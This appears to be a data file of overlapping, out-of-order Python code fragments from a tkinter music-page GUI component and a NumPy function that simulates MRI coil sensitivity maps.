"column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def",
"text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size)",
"*args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black' self.photo = image self.count",
"*kwargs) self['background'] = 'black' self.photo = image self.count = 0 self.image_frame = tk.Frame(self,",
"== 0: width = int(round(event.width / 1.5)) height = int(round(event.height / 2)) self.photo",
"self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0,",
"= int(round(event.width / 1.5)) height = int(round(event.height / 2)) self.photo = self.photo.resize((height, height),",
"highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0,",
"ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self, master, image, text,",
"= tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame,",
"master, image, text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background'] = 'black'",
"self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1)",
"self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1,",
"self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0,",
"0: width = int(round(event.width / 1.5)) height = int(round(event.height / 2)) self.photo =",
"Head(tk.Frame): def __init__(self, master, image, text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs)",
"event): if self.count == 0: width = int(round(event.width / 1.5)) height = int(round(event.height",
"30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def label_size(self,",
"weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10,",
"= ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo, anchor=tk.NW, tags=\"IMG\") self.image_label.configure(width=height) self.count = 1",
"image self.count = 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self,",
"self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def label_size(self, event): if self.count",
"width = int(round(event.width / 1.5)) height = int(round(event.height / 2)) self.photo = self.photo.resize((height,",
"import tkinter as tk from PIL import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame",
"0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass",
"tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1)",
"weight=10000) def frame_size(self, event): pass def label_size(self, event): if self.count == 0: width",
"def __init__(self, master, image, text, data, *args, **kwargs): tk.Frame.__init__(self, master, *args, *kwargs) self['background']",
"/ 1.5)) height = int(round(event.height / 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo",
"*args, *kwargs) self['background'] = 'black' self.photo = image self.count = 0 self.image_frame =",
"= 'black' self.photo = image self.count = 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>',",
"0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data) self.image_label",
"sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0, weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0),",
"data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0,",
"Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self, master, image, text, data,",
"self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def label_size(self, event):",
"int(round(event.height / 2)) self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height)",
"weight=1) self.image_frame.grid(row=0, column=0, sticky='nsew', padx=(30, 0), pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30,",
"pady=30) self.text_frame.grid(row=0, column=1, sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1,",
"sticky='nsew', padx=(10, 0), pady=(30, 30)) self.grid_rowconfigure(0, weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self,",
"= tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew', ) self.image_label.bind('<Configure>', self.label_size) self.image_frame.grid_columnconfigure(0, weight=1) self.image_frame.grid_rowconfigure(0,",
"self.count == 0: width = int(round(event.width / 1.5)) height = int(round(event.height / 2))",
"weight=1) self.grid_columnconfigure(0, weight=1) self.grid_columnconfigure(1, weight=10000) def frame_size(self, event): pass def label_size(self, event): if",
"label_size(self, event): if self.count == 0: width = int(round(event.width / 1.5)) height =",
"self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo, anchor=tk.NW, tags=\"IMG\")",
"self.photo = self.photo.resize((height, height), Image.ANTIALIAS) self.photo = ImageTk.PhotoImage(self.photo) self.image_label.config(width=width, height=height) self.image_label.create_image(0, 0, image=self.photo,",
"tk from PIL import ImageTk, Image from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def",
"from Pages.MusicPage.Components.TextFrame import TextFrame class Head(tk.Frame): def __init__(self, master, image, text, data, *args,",
"= 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text, data)",
"self.text_frame = TextFrame(self, text, data) self.image_label = tk.Canvas(self.image_frame, bd=0, highlightthickness=0) self.image_label.grid(row=0, column=0, sticky='nsew',",
"self.count = 0 self.image_frame = tk.Frame(self, bg='#000000') self.image_frame.bind('<Configure>', self.frame_size) self.text_frame = TextFrame(self, text,"
] |
[
"\\*shape). Notes ----- Sensitivity maps are normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k}",
"= np.random.uniform(0, 2 * np.pi, 1) for coil_idx in range(num_coils): mu = [",
"tri-variate gaussian distribution. Parameters ---------- shape: List[int] or Tuple[int] (nx, ny) or (nx,",
"ny, nz). num_coils: int Number of coils to be simulated. var: float Variance.",
"np.sin(coil_idx / num_coils * 2 * np.pi + offset).item(), ] if len(shape) ==",
"shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume",
"+ shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid",
"nd.array Simulated coil sensitivity maps of shape (num_coils, \\*shape). Notes ----- Sensitivity maps",
"n in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape))",
"shape (num_coils, \\*shape). Notes ----- Sensitivity maps are normalized such that: .. math::",
"Returns ------- sensitivity_map : nd.array Simulated coil sensitivity maps of shape (num_coils, \\*shape).",
"np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi, 1) for coil_idx in range(num_coils): mu",
"-> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate gaussian distribution. Parameters ----------",
"Sensitivity maps are normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\"",
"------- sensitivity_map : nd.array Simulated coil sensitivity maps of shape (num_coils, \\*shape). Notes",
"Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map = sensitivity_map / sensitivity_map_norm return sensitivity_map",
"cov = np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi, 1)",
"import multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var: float",
"produce an offset for the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array",
"are normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils",
"return np.ones(shape)[None] + 0.0j # X, Y are switched in np.meshgrid meshgrid =",
"None, a seed will be used to produce an offset for the gaussian",
"r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate gaussian distribution. Parameters ---------- shape: List[int]",
"mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated coil sensitivity maps of shape",
"= np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid,",
"# make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map = sensitivity_map",
"np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1] + shape[2:]]) indices",
"normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var: float = 1, seed:",
"mu = [ np.cos(coil_idx / num_coils * 2 * np.pi + offset).item(), np.sin(coil_idx",
"simulated. var: float Variance. seed: int or None If not None, a seed",
"or tri-variate gaussian distribution. Parameters ---------- shape: List[int] or Tuple[int] (nx, ny) or",
"for n in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils,",
"if len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map =",
"sensitivity_map = sensitivity_map + 1.0j * sensitivity_map # make complex # Normalize sensitivity_map_norm",
"will be used to produce an offset for the gaussian mean :math:`\\mu`. Returns",
"* 2 * np.pi + offset).item(), np.sin(coil_idx / num_coils * 2 * np.pi",
"multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var: float =",
"* sensitivity_map # make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map",
"Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate",
"distribution. Parameters ---------- shape: List[int] or Tuple[int] (nx, ny) or (nx, ny, nz).",
"int Number of coils to be simulated. var: float Variance. seed: int or",
"= np.zeros((num_coils, *shape)) # Assume iid cov = np.zeros(len(shape)) for ii in range(len(shape)):",
"Tuple[int]], num_coils: int, var: float = 1, seed: Optional[int] = None ) ->",
"Assume iid cov = np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] = var cov",
"seed: np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi, 1) for coil_idx in range(num_coils):",
"shape: List[int] or Tuple[int] (nx, ny) or (nx, ny, nz). num_coils: int Number",
"numpy as np from scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int],",
":math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated coil sensitivity maps of shape (num_coils,",
"= 1, seed: Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities using",
"None If not None, a seed will be used to produce an offset",
"iid cov = np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] = var cov =",
"make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map = sensitivity_map /",
"n) for n in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map =",
"+ offset).item(), np.sin(coil_idx / num_coils * 2 * np.pi + offset).item(), ] if",
"if seed: np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi, 1) for coil_idx in",
"= I. \"\"\" if num_coils == 1: return np.ones(shape)[None] + 0.0j # X,",
"coding=utf-8 # Copyright (c) DIRECT Contributors from typing import List, Optional, Tuple, Union",
"or (nx, ny, nz). num_coils: int Number of coils to be simulated. var:",
"+ 1.0j * sensitivity_map # make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) *",
"in range(len(shape)): cov[ii] = var cov = np.diag(cov) if seed: np.random.seed(seed) offset =",
"range(len(shape)): cov[ii] = var cov = np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0,",
"[0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j * sensitivity_map #",
"bi-variate or tri-variate gaussian distribution. Parameters ---------- shape: List[int] or Tuple[int] (nx, ny)",
"sensitivity_map : nd.array Simulated coil sensitivity maps of shape (num_coils, \\*shape). Notes -----",
"a seed will be used to produce an offset for the gaussian mean",
"np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] = var cov = np.diag(cov) if seed:",
"of shape (num_coils, \\*shape). Notes ----- Sensitivity maps are normalized such that: ..",
"Union import numpy as np from scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps(",
"nz). num_coils: int Number of coils to be simulated. var: float Variance. seed:",
"axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid cov = np.zeros(len(shape)) for ii",
"Parameters ---------- shape: List[int] or Tuple[int] (nx, ny) or (nx, ny, nz). num_coils:",
"meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1] + shape[2:]]) indices =",
"# X, Y are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for",
"in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) #",
"/ num_coils * 2 * np.pi + offset).item(), np.sin(coil_idx / num_coils * 2",
"complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map = sensitivity_map / sensitivity_map_norm",
"mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j *",
"np.pi + offset).item(), ] if len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx] =",
"Copyright (c) DIRECT Contributors from typing import List, Optional, Tuple, Union import numpy",
"+ 0.0j # X, Y are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1,",
"int or None If not None, a seed will be used to produce",
"np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid cov = np.zeros(len(shape)) for",
"len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map",
"using bi-variate or tri-variate gaussian distribution. Parameters ---------- shape: List[int] or Tuple[int] (nx,",
"Number of coils to be simulated. var: float Variance. seed: int or None",
"(c) DIRECT Contributors from typing import List, Optional, Tuple, Union import numpy as",
") -> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate gaussian distribution. Parameters",
"cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j * sensitivity_map # make complex # Normalize",
"ny) or (nx, ny, nz). num_coils: int Number of coils to be simulated.",
"np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1)",
"an offset for the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated",
"coils to be simulated. var: float Variance. seed: int or None If not",
"float = 1, seed: Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities",
"to produce an offset for the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map :",
"*shape)) # Assume iid cov = np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] =",
"1) for coil_idx in range(num_coils): mu = [ np.cos(coil_idx / num_coils * 2",
"typing import List, Optional, Tuple, Union import numpy as np from scipy.stats import",
"num_coils: int, var: float = 1, seed: Optional[int] = None ) -> np.ndarray:",
"----- Sensitivity maps are normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I.",
"np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi, 1) for coil_idx",
"coil_idx in range(num_coils): mu = [ np.cos(coil_idx / num_coils * 2 * np.pi",
"seed: Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or",
"of coils to be simulated. var: float Variance. seed: int or None If",
"that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils == 1: return",
"seed: int or None If not None, a seed will be used to",
"offset = np.random.uniform(0, 2 * np.pi, 1) for coil_idx in range(num_coils): mu =",
"for coil_idx in range(num_coils): mu = [ np.cos(coil_idx / num_coils * 2 *",
"== 3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map +",
"1, n) for n in shape[:2][::-1] + shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map",
"def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var: float = 1, seed: Optional[int]",
"3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j",
"such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils == 1:",
"= sensitivity_map + 1.0j * sensitivity_map # make complex # Normalize sensitivity_map_norm =",
"for the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated coil sensitivity",
"+= [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j * sensitivity_map",
"num_coils * 2 * np.pi + offset).item(), np.sin(coil_idx / num_coils * 2 *",
"# Assume iid cov = np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] = var",
"Tuple, Union import numpy as np from scipy.stats import multivariate_normal as normal def",
".. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils == 1: return np.ones(shape)[None]",
"* np.pi + offset).item(), np.sin(coil_idx / num_coils * 2 * np.pi + offset).item(),",
"Y are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n in",
"== 1: return np.ones(shape)[None] + 0.0j # X, Y are switched in np.meshgrid",
"from scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int,",
"1: return np.ones(shape)[None] + 0.0j # X, Y are switched in np.meshgrid meshgrid",
"= np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid cov = np.zeros(len(shape))",
"sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid cov = np.zeros(len(shape)) for ii in",
"Contributors from typing import List, Optional, Tuple, Union import numpy as np from",
"import numpy as np from scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps( shape:",
"np.pi + offset).item(), np.sin(coil_idx / num_coils * 2 * np.pi + offset).item(), ]",
"num_coils: int Number of coils to be simulated. var: float Variance. seed: int",
"2 * np.pi + offset).item(), ] if len(shape) == 3: mu += [0.0]",
"be used to produce an offset for the gaussian mean :math:`\\mu`. Returns -------",
"0.0j # X, Y are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n)",
"Union[List[int], Tuple[int]], num_coils: int, var: float = 1, seed: Optional[int] = None )",
"[ np.cos(coil_idx / num_coils * 2 * np.pi + offset).item(), np.sin(coil_idx / num_coils",
"num_coils * 2 * np.pi + offset).item(), ] if len(shape) == 3: mu",
"= None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate gaussian",
"normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils ==",
"switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1] +",
"gaussian distribution. Parameters ---------- shape: List[int] or Tuple[int] (nx, ny) or (nx, ny,",
"offset).item(), ] if len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices)",
"# Copyright (c) DIRECT Contributors from typing import List, Optional, Tuple, Union import",
"ii in range(len(shape)): cov[ii] = var cov = np.diag(cov) if seed: np.random.seed(seed) offset",
"np from scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils:",
"import List, Optional, Tuple, Union import numpy as np from scipy.stats import multivariate_normal",
"seed will be used to produce an offset for the gaussian mean :math:`\\mu`.",
"coil sensitivities using bi-variate or tri-variate gaussian distribution. Parameters ---------- shape: List[int] or",
"gaussian mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated coil sensitivity maps of",
"{S^{k}}^{*}S^{k} = I. \"\"\" if num_coils == 1: return np.ones(shape)[None] + 0.0j #",
"2 * np.pi, 1) for coil_idx in range(num_coils): mu = [ np.cos(coil_idx /",
"= np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi, 1) for",
"/ num_coils * 2 * np.pi + offset).item(), ] if len(shape) == 3:",
": nd.array Simulated coil sensitivity maps of shape (num_coils, \\*shape). Notes ----- Sensitivity",
"np.ones(shape)[None] + 0.0j # X, Y are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1,",
"num_coils == 1: return np.ones(shape)[None] + 0.0j # X, Y are switched in",
"= np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] = var cov = np.diag(cov) if",
"var: float = 1, seed: Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates coil",
"var: float Variance. seed: int or None If not None, a seed will",
"var cov = np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0, 2 * np.pi,",
"= normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j * sensitivity_map # make complex",
"* 2 * np.pi + offset).item(), ] if len(shape) == 3: mu +=",
"normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j * sensitivity_map # make complex #",
"in range(num_coils): mu = [ np.cos(coil_idx / num_coils * 2 * np.pi +",
"float Variance. seed: int or None If not None, a seed will be",
"offset).item(), np.sin(coil_idx / num_coils * 2 * np.pi + offset).item(), ] if len(shape)",
"DIRECT Contributors from typing import List, Optional, Tuple, Union import numpy as np",
"as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var: float = 1,",
"sensitivities using bi-variate or tri-variate gaussian distribution. Parameters ---------- shape: List[int] or Tuple[int]",
"coil sensitivity maps of shape (num_coils, \\*shape). Notes ----- Sensitivity maps are normalized",
"1, seed: Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate",
"shape[2:]]) indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid cov",
"cov = np.zeros(len(shape)) for ii in range(len(shape)): cov[ii] = var cov = np.diag(cov)",
"* np.pi + offset).item(), ] if len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx]",
"Optional, Tuple, Union import numpy as np from scipy.stats import multivariate_normal as normal",
"] if len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map",
"= var cov = np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0, 2 *",
"np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate gaussian distribution. Parameters ---------- shape:",
"scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var:",
"be simulated. var: float Variance. seed: int or None If not None, a",
"# Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map = sensitivity_map / sensitivity_map_norm return",
"if num_coils == 1: return np.ones(shape)[None] + 0.0j # X, Y are switched",
"Variance. seed: int or None If not None, a seed will be used",
"List, Optional, Tuple, Union import numpy as np from scipy.stats import multivariate_normal as",
"None ) -> np.ndarray: r\"\"\"Simulates coil sensitivities using bi-variate or tri-variate gaussian distribution.",
"List[int] or Tuple[int] (nx, ny) or (nx, ny, nz). num_coils: int Number of",
"offset for the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated coil",
"simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]], num_coils: int, var: float = 1, seed: Optional[int] =",
"* np.pi, 1) for coil_idx in range(num_coils): mu = [ np.cos(coil_idx / num_coils",
"Simulated coil sensitivity maps of shape (num_coils, \\*shape). Notes ----- Sensitivity maps are",
"sensitivity maps of shape (num_coils, \\*shape). Notes ----- Sensitivity maps are normalized such",
"# coding=utf-8 # Copyright (c) DIRECT Contributors from typing import List, Optional, Tuple,",
"or None If not None, a seed will be used to produce an",
"(num_coils, \\*shape). Notes ----- Sensitivity maps are normalized such that: .. math:: \\sum_{k=1}^{n_c}",
"X, Y are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n",
"np.pi, 1) for coil_idx in range(num_coils): mu = [ np.cos(coil_idx / num_coils *",
"np.cos(coil_idx / num_coils * 2 * np.pi + offset).item(), np.sin(coil_idx / num_coils *",
"If not None, a seed will be used to produce an offset for",
"+ offset).item(), ] if len(shape) == 3: mu += [0.0] sensitivity_map[coil_idx] = normal(mu,",
"2 * np.pi + offset).item(), np.sin(coil_idx / num_coils * 2 * np.pi +",
"cov[ii] = var cov = np.diag(cov) if seed: np.random.seed(seed) offset = np.random.uniform(0, 2",
"in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1] + shape[2:]])",
"indices = np.stack(meshgrid, axis=-1) sensitivity_map = np.zeros((num_coils, *shape)) # Assume iid cov =",
"as np from scipy.stats import multivariate_normal as normal def simulate_sensitivity_maps( shape: Union[List[int], Tuple[int]],",
"---------- shape: List[int] or Tuple[int] (nx, ny) or (nx, ny, nz). num_coils: int",
"(nx, ny) or (nx, ny, nz). num_coils: int Number of coils to be",
"maps are normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if",
"used to produce an offset for the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map",
"Notes ----- Sensitivity maps are normalized such that: .. math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} =",
"1.0j * sensitivity_map # make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None]",
"the gaussian mean :math:`\\mu`. Returns ------- sensitivity_map : nd.array Simulated coil sensitivity maps",
"np.random.uniform(0, 2 * np.pi, 1) for coil_idx in range(num_coils): mu = [ np.cos(coil_idx",
"range(num_coils): mu = [ np.cos(coil_idx / num_coils * 2 * np.pi + offset).item(),",
"sensitivity_map # make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map) * sensitivity_map).sum(0))[None] sensitivity_map =",
"\"\"\" if num_coils == 1: return np.ones(shape)[None] + 0.0j # X, Y are",
"shape: Union[List[int], Tuple[int]], num_coils: int, var: float = 1, seed: Optional[int] = None",
"int, var: float = 1, seed: Optional[int] = None ) -> np.ndarray: r\"\"\"Simulates",
"Tuple[int] (nx, ny) or (nx, ny, nz). num_coils: int Number of coils to",
"to be simulated. var: float Variance. seed: int or None If not None,",
"or Tuple[int] (nx, ny) or (nx, ny, nz). num_coils: int Number of coils",
"maps of shape (num_coils, \\*shape). Notes ----- Sensitivity maps are normalized such that:",
"\\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils == 1: return np.ones(shape)[None] + 0.0j",
"are switched in np.meshgrid meshgrid = np.meshgrid(*[np.linspace(-1, 1, n) for n in shape[:2][::-1]",
"np.zeros((num_coils, *shape)) # Assume iid cov = np.zeros(len(shape)) for ii in range(len(shape)): cov[ii]",
"sensitivity_map[coil_idx] = normal(mu, cov).pdf(indices) sensitivity_map = sensitivity_map + 1.0j * sensitivity_map # make",
"not None, a seed will be used to produce an offset for the",
"sensitivity_map + 1.0j * sensitivity_map # make complex # Normalize sensitivity_map_norm = np.sqrt((np.conj(sensitivity_map)",
"I. \"\"\" if num_coils == 1: return np.ones(shape)[None] + 0.0j # X, Y",
